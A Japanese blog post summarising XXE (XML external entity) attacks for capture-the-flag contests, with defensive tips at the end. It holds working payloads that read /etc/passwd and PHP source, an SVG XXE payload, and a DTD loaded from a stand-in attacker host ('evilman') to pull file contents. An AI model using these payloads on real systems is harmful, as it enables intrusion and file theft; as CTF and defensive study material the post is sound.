はまやんはまやんはまやん

hamayanhamayan's blog

WebセキュリティにおけるXXE問題への傾向と対策

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

XXE

XMLについての攻撃。
正直現代ではXMLからJSONに形式が取って変わられたので見ることも少なくなったが、
設定ファイルやSVGなどで使うこともあるだろう。

  • XXE: XML External Entity
    • XMLの外部エンティティ参照を対象とした脆弱性を狙う攻撃
    • エンティティ参照というXML内部で変数っぽいのを使って値を埋め込む機構がある
    • この変数に色々なものを代入することができ、LFIをしたり、RCEをしたり、SSRFをしたりできる
  • 参考
  • 具体的な攻撃方法
    • xmlタグの次に<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>と書く
    • これで変数xxeが定義されるので、埋め込みたい部分に&xxe;と書いて使う

LFI

たぶんCTFだとまずはこれを試す。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<item>&xxe</item>

これを送ってXMLパーサーに書けると、以下のようにファイルが埋め込まれて帰ってくる。

<item>[/etc/passwdの中身]</item>

RCE

まだ、自分はやったことないが、RCEできるらしい。

SSRF

XXEでは任意のURLへリクエストさせることができるため、SSRFのトリガーに使える。

DoS

XML Bombあるいはeneity explosionと呼ばれる。
Algorithmic complexity attackの一種で、組合せ爆発を引き起こすことで負荷をかける。
Billion laughs attack - Wikipedia
wikipediaに攻撃コードが載っており、見れば何となく分かる。

ペイロード

cat /etc/passwd
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><locationCheck><productId>&xxe;</productId></locationCheck>

php://filter
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]><button><color>ffffff</color><value>&xxe;</value></button>

apacheエスパー

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///var/www/html/index.php" >]><locationCheck><productId>&xxe;</productId></locationCheck>

他のネタ

多段XXE

Detecting Chained XXE (XML External Entity) to DOS (Denial of Service) or SSRF (Server Side Request Forgery) using ShiftLeft Ocular | by Chetan Conikee | Medium WreckTheLine writeups

この辺が資料になるけど、多段階でXXEすることで、攻撃を成功させる例が紹介されている。
よくわかっていないけど、なんかのリクエストで取得したやつを、他のリクエストに利用しているwirteupを見たことがある。できるんだろう。

XMLを含むファイルを入れ込む時

xmlに含まれるような文字列を含んだファイルをfile://とかでインジェクションしようとすると失敗する。
What Are XML External Entity (XXE) Attacks
ここに外部DTDファイルを読み込むことで回避する方法が紹介されている。

<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents 
'%start;%file;%end;'>">

これをどこかにアップロードする。
ファイル名をevil.dtdとして、アクセス可能にしておき、以下のようにやる。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM
  "https://evilman.free.beeceptor.com/evil.dtd">
  %dtd;
  %all;
]>
<data>&fileContents;</data>

これ書いてて思ったけど、base64エンコードのやつで取ってきて解決するのがお手軽かも

SVGでも同様のことができる

SVGxml形式なので、XXEができる。

CTFtime.org / P.W.N. CTF / SVG2PNG / Writeup

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE document [ <!ENTITY  data SYSTEM
  'file:/../../opt/key.txt'> ]>
<svg
   xmlns="http://www.w3.org/2000/svg"
   width="200mm"
   height="10mm">
   <text x="10" y="15" fill="red">
      &data;
   </text>
</svg>

X-CTF Finals 2016 - John Slick (Web 25) – Quan Yang こっちもそれでやってる

ネタ

XXE on JSON Endpoints
https://www.hamayanhamayan.com/entry/2019/07/20/181443

XXE 問題 CTF Writeups

Practicalな話

実装時に気を付けること

XMLを使用する理由は「外部プログラムに渡す用」「設定ファイル」くらいなので、
基本的にエンティティ参照は使わないだろう。
エンティティ参照機能は切っておくのが良い対策となる。

以下に具体的な対策方法が書いてある - 油断ならない脆弱性 XXEへの対策 | yamory Blog - PHP, Java - XXE攻撃 基本編 | MBSD Blog - Java - PHPプログラマのためのXXE入門 | 徳丸浩の日記 - PHP - libxml2の2.9.0以降は外部エンティティはデフォルトでOFFらしいので安全

(CTFじゃ使えないけど)テストツール

未調査。
Burp Suiteとかでテストできそうではある。